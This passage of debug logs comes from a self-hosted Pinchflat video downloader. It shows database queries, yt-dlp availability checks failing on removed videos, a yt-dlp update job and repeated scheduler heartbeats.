VALUES (?1,?2,?3,?4) RETURNING "id" [2636, 1, ~U[2025-12-14 18:00:38Z], ~U[2025-12-14 18:00:38Z]] 11:00:38.420 [debug] Running yt-dlp command for action: get_downloadable_status 11:00:38.421 [debug] QUERY OK source="media_metadata" db=0.5ms idle=3.3ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [89337] 11:00:38.421 [debug] QUERY OK source="settings" db=0.6ms idle=2.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 11:00:38.421 [info] {"args":{"id":1},"id":2626,"meta":{},"state":"success","max_attempts":20,"queue":"media_collection_indexing","worker":"Pinchflat.SlowIndexing.MediaCollectionIndexingWorker","source":"oban","duration":6064420,"event":"job:stop","queue_time":727600,"attempt":1,"tags":["media_source","media_collection_indexing","show_in_dashboard"]} 11:00:38.422 [debug] QUERY OK source="media_profiles" db=0.6ms idle=1.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 11:00:38.422 [debug] QUERY OK source="settings" db=0.3ms idle=1.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 11:00:38.423 [debug] QUERY OK source="settings" db=0.4ms queue=0.1ms idle=1.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 11:00:38.423 [debug] QUERY OK source="settings" db=0.2ms idle=1.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 11:00:38.423 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=2obOY-T_uog --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/24/4e/244eabd942dca6e44a35e38c2b2fe2b84f457c37d6b8512e09631eb19d4c685f.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 11:00:38.423 [debug] QUERY OK source="settings" db=0.3ms idle=1.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 11:00:38.424 [debug] Running yt-dlp command for action: get_downloadable_status 11:00:38.425 [debug] QUERY OK source="settings" db=0.2ms idle=3.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 11:00:38.425 [debug] QUERY OK source="settings" db=0.1ms idle=3.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 11:00:38.426 [debug] QUERY OK source="settings" db=0.1ms idle=3.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 11:00:38.426 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=pzwYi9BjBNY --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/c9/ad/c9adde7b1edc0a753849920bb1b635690e22d6a5897a10ac6804fb62e7b90556.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 11:00:41.519 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=pzwYi9BjBNY --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/c9/ad/c9adde7b1edc0a753849920bb1b635690e22d6a5897a10ac6804fb62e7b90556.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: [youtube] pzwYi9BjBNY: Video unavailable. This video has been removed by the uploader 11:00:41.519 [error] yt-dlp download error for media item #89337: "ERROR: [youtube] pzwYi9BjBNY: Video unavailable. This video has been removed by the uploader\n" 11:00:41.519 [error] yt-dlp download will not be retried: "ERROR: [youtube] pzwYi9BjBNY: Video unavailable. This video has been removed by the uploader\n" 11:00:41.520 [info] {"args":{"id":89337},"id":2635,"meta":{},"state":"success","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":3117334,"event":"job:stop","queue_time":399923,"attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 11:00:42.895 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=2obOY-T_uog --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/24/4e/244eabd942dca6e44a35e38c2b2fe2b84f457c37d6b8512e09631eb19d4c685f.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: [youtube] 2obOY-T_uog: Video unavailable 11:00:42.895 [error] yt-dlp download error for media item #20219: "ERROR: [youtube] 2obOY-T_uog: Video unavailable\n" 11:00:42.895 [error] yt-dlp download will not be retried: "ERROR: [youtube] 2obOY-T_uog: Video unavailable\n" 11:00:42.896 [info] {"args":{"id":20219},"id":2634,"meta":{},"state":"success","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":4493338,"event":"job:stop","queue_time":399923,"attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 11:01:00.279 [info] {"source":"oban","duration":354,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:01:03.638 [info] {"source":"oban","duration":1475,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:01:33.640 [info] {"source":"oban","duration":1104,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:02:00.280 [info] {"source":"oban","duration":362,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:02:03.642 [info] {"source":"oban","duration":1152,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:02:33.644 [info] {"source":"oban","duration":1008,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:03:00.281 [info] {"source":"oban","duration":377,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:03:03.646 [info] {"source":"oban","duration":1452,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:03:33.648 [info] {"source":"oban","duration":1746,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:04:00.282 [info] {"source":"oban","duration":472,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:04:03.651 [info] {"source":"oban","duration":965,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:04:33.653 [info] {"source":"oban","duration":1404,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:05:00.283 [info] {"source":"oban","duration":371,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:05:03.655 [info] {"source":"oban","duration":1518,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:05:33.657 [info] {"source":"oban","duration":1367,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:06:00.284 [info] {"source":"oban","duration":285,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:06:03.659 [info] {"source":"oban","duration":1386,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:06:33.661 [info] {"source":"oban","duration":1200,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:07:00.285 [info] {"source":"oban","duration":255,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:07:03.663 [info] {"source":"oban","duration":1363,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:07:33.665 [info] {"source":"oban","duration":1461,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:08:00.286 [info] {"source":"oban","duration":254,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:08:03.667 [info] {"source":"oban","duration":1450,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:08:33.669 [info] {"source":"oban","duration":1379,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:09:00.287 [info] {"source":"oban","duration":328,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:09:03.671 [info] {"source":"oban","duration":1446,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:09:33.673 [info] {"source":"oban","duration":1458,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:10:00.288 [info] {"source":"oban","duration":275,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:10:03.675 [info] {"source":"oban","duration":1101,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:10:33.677 [info] {"source":"oban","duration":977,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:11:00.289 [info] {"source":"oban","duration":312,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:11:03.679 [info] {"source":"oban","duration":1056,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:11:33.681 [info] {"source":"oban","duration":1506,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:12:00.290 [info] {"source":"oban","duration":382,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:12:03.683 [info] {"source":"oban","duration":1337,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:12:33.685 [info] {"source":"oban","duration":1422,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:13:00.291 [info] {"source":"oban","duration":351,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:13:03.687 [info] {"source":"oban","duration":1326,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:13:33.689 [info] {"source":"oban","duration":1325,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:14:00.292 [info] {"source":"oban","duration":371,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:14:03.691 [info] {"source":"oban","duration":1346,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:14:33.693 [info] {"source":"oban","duration":1397,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:15:00.293 [info] {"source":"oban","duration":265,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:15:03.695 [info] {"source":"oban","duration":1028,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:15:33.697 [info] {"source":"oban","duration":951,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:16:00.294 [info] {"source":"oban","duration":276,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:16:03.698 [info] {"source":"oban","duration":856,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:16:33.701 [info] {"source":"oban","duration":992,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:17:00.295 [info] {"source":"oban","duration":523,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:17:03.703 [info] {"source":"oban","duration":929,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:17:33.705 [info] {"source":"oban","duration":1175,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:18:00.296 [info] {"source":"oban","duration":378,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:18:03.707 [info] {"source":"oban","duration":1251,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:18:33.709 [info] {"source":"oban","duration":910,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:19:00.297 [info] {"source":"oban","duration":555,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:19:03.711 [info] {"source":"oban","duration":1509,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:19:33.713 [info] {"source":"oban","duration":978,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:20:00.298 [info] {"source":"oban","duration":349,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:20:03.715 [info] {"source":"oban","duration":1193,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:20:33.717 [info] {"source":"oban","duration":1669,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:21:00.299 [info] {"source":"oban","duration":505,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:21:03.720 [info] {"source":"oban","duration":1497,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:21:33.722 [info] {"source":"oban","duration":1430,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:22:00.301 [info] {"source":"oban","duration":370,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:22:03.724 [info] {"source":"oban","duration":1430,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:22:33.726 [info] {"source":"oban","duration":1474,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:23:00.302 [info] {"source":"oban","duration":291,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:23:03.728 [info] {"source":"oban","duration":1653,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:23:33.730 [info] {"source":"oban","duration":1426,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:24:00.303 [info] {"source":"oban","duration":397,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:24:03.732 [info] {"source":"oban","duration":1452,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:24:33.734 [info] {"source":"oban","duration":1258,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:25:00.304 [info] {"source":"oban","duration":297,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:25:03.736 [info] {"source":"oban","duration":1505,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:25:33.738 [info] {"source":"oban","duration":1398,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:26:00.305 [info] {"source":"oban","duration":374,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:26:03.740 [info] {"source":"oban","duration":1008,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:26:33.742 [info] {"source":"oban","duration":1271,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:27:00.306 [info] {"source":"oban","duration":426,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:27:03.744 [info] {"source":"oban","duration":1414,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:27:33.746 [info] {"source":"oban","duration":1141,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:28:00.307 [info] {"source":"oban","duration":283,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:28:03.748 [info] {"source":"oban","duration":1133,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:28:33.750 [info] {"source":"oban","duration":1558,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:29:00.308 [info] {"source":"oban","duration":396,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:29:03.752 [info] {"source":"oban","duration":1397,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:29:33.754 [info] {"source":"oban","duration":1276,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:30:00.309 [info] {"source":"oban","duration":260,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:30:03.756 [info] {"source":"oban","duration":1142,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:30:33.758 [info] {"source":"oban","duration":1325,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:31:00.310 [info] {"source":"oban","duration":232,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:31:03.760 [info] {"source":"oban","duration":1210,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:31:33.762 [info] {"source":"oban","duration":1328,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:32:00.311 [info] {"source":"oban","duration":256,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:32:03.764 [info] {"source":"oban","duration":1075,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:32:33.766 [info] {"source":"oban","duration":1231,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:33:00.312 [info] {"source":"oban","duration":212,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:33:03.768 [info] {"source":"oban","duration":1250,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:33:33.769 [info] {"source":"oban","duration":911,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:34:00.313 [info] {"source":"oban","duration":314,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:34:03.772 [info] {"source":"oban","duration":1122,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:34:33.774 [info] {"source":"oban","duration":1333,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:35:00.314 [info] {"source":"oban","duration":287,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:35:03.776 [info] {"source":"oban","duration":1307,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:35:33.778 [info] {"source":"oban","duration":1185,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:36:00.315 [info] {"source":"oban","duration":307,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:36:03.780 [info] {"source":"oban","duration":1068,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:36:33.782 [info] {"source":"oban","duration":1110,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:37:00.316 [info] {"source":"oban","duration":333,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:37:03.784 [info] {"source":"oban","duration":1504,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:37:33.786 [info] {"source":"oban","duration":1452,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:38:00.317 [info] {"source":"oban","duration":343,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:38:03.788 [info] {"source":"oban","duration":1484,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:38:33.790 [info] {"source":"oban","duration":1306,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:39:00.318 [info] {"source":"oban","duration":264,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:39:03.792 [info] {"source":"oban","duration":1232,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:39:33.794 [info] {"source":"oban","duration":1324,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:40:00.319 [info] {"source":"oban","duration":319,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:40:03.796 [info] {"source":"oban","duration":1145,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:40:33.798 [info] {"source":"oban","duration":1411,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:41:00.320 [info] {"source":"oban","duration":239,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:41:03.799 [info] {"source":"oban","duration":729,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:41:33.801 [info] {"source":"oban","duration":960,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:42:00.323 [info] {"source":"oban","duration":1855,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[2637]} 11:42:00.329 [info] {"args":{},"id":2637,"meta":{"cron":true,"cron_expr":"42 18 * * *","cron_tz":"Etc/UTC"},"system_time":1765737720329614883,"max_attempts":20,"queue":"local_data","worker":"Pinchflat.YtDlp.UpdateWorker","source":"oban","event":"job:start","attempt":1,"tags":["local_data"]} 11:42:00.330 [info] Updating yt-dlp 11:42:00.330 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: --update 11:42:02.061 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: --update exited: 0 with: Latest version: stable@2025.12.08 from yt-dlp/yt-dlp yt-dlp is up to date (stable@2025.12.08 from yt-dlp/yt-dlp) 11:42:02.061 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: --version 11:42:03.467 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: --version exited: 0 with: 2025.12.08 11:42:03.467 [debug] QUERY OK source="settings" db=0.4ms idle=1787.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 11:42:03.468 [info] {"args":{},"id":2637,"meta":{"cron":true,"cron_expr":"42 18 * * *","cron_tz":"Etc/UTC"},"state":"success","max_attempts":20,"queue":"local_data","worker":"Pinchflat.YtDlp.UpdateWorker","source":"oban","duration":3138548,"event":"job:stop","queue_time":328055,"attempt":1,"tags":["local_data"]} 11:42:03.803 [info] {"source":"oban","duration":1299,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:42:33.805 [info] {"source":"oban","duration":1190,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:43:00.324 [info] {"source":"oban","duration":377,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:43:03.807 [info] {"source":"oban","duration":1126,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:43:33.809 [info] {"source":"oban","duration":1012,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:44:00.325 [info] {"source":"oban","duration":369,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:44:03.811 [info] {"source":"oban","duration":1293,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:44:33.813 [info] {"source":"oban","duration":1348,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:45:00.326 [info] {"source":"oban","duration":346,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:45:03.815 [info] {"source":"oban","duration":996,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:45:33.817 [info] {"source":"oban","duration":1505,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:46:00.327 [info] {"source":"oban","duration":265,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:46:03.819 [info] {"source":"oban","duration":1346,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:46:33.821 [info] {"source":"oban","duration":1378,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:47:00.328 [info] {"source":"oban","duration":474,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:47:03.823 [info] {"source":"oban","duration":1280,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:47:33.825 [info] {"source":"oban","duration":1357,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:48:00.329 [info] {"source":"oban","duration":294,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:48:03.827 [info] {"source":"oban","duration":1345,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:48:33.829 [info] {"source":"oban","duration":1333,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:49:00.330 [info] {"source":"oban","duration":368,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:49:03.831 [info] {"source":"oban","duration":1257,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:49:33.833 [info] {"source":"oban","duration":1322,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:50:00.331 [info] {"source":"oban","duration":284,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:50:03.835 [info] {"source":"oban","duration":1633,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:50:33.837 [info] {"source":"oban","duration":1447,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:51:00.332 [info] {"source":"oban","duration":426,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:51:03.839 [info] {"source":"oban","duration":1331,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:51:33.841 [info] {"source":"oban","duration":1242,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:52:00.333 [info] {"source":"oban","duration":311,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:52:03.843 [info] {"source":"oban","duration":1322,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:52:33.845 [info] {"source":"oban","duration":1015,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:53:00.334 [info] {"source":"oban","duration":528,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:53:03.846 [info] {"source":"oban","duration":830,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:53:33.849 [info] {"source":"oban","duration":1034,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:54:00.335 [info] {"source":"oban","duration":377,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:54:03.851 [info] {"source":"oban","duration":1295,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:54:33.853 [info] {"source":"oban","duration":1348,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:55:00.336 [info] {"source":"oban","duration":336,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:55:03.855 [info] {"source":"oban","duration":1356,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:55:33.857 [info] {"source":"oban","duration":1311,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:56:00.337 [info] 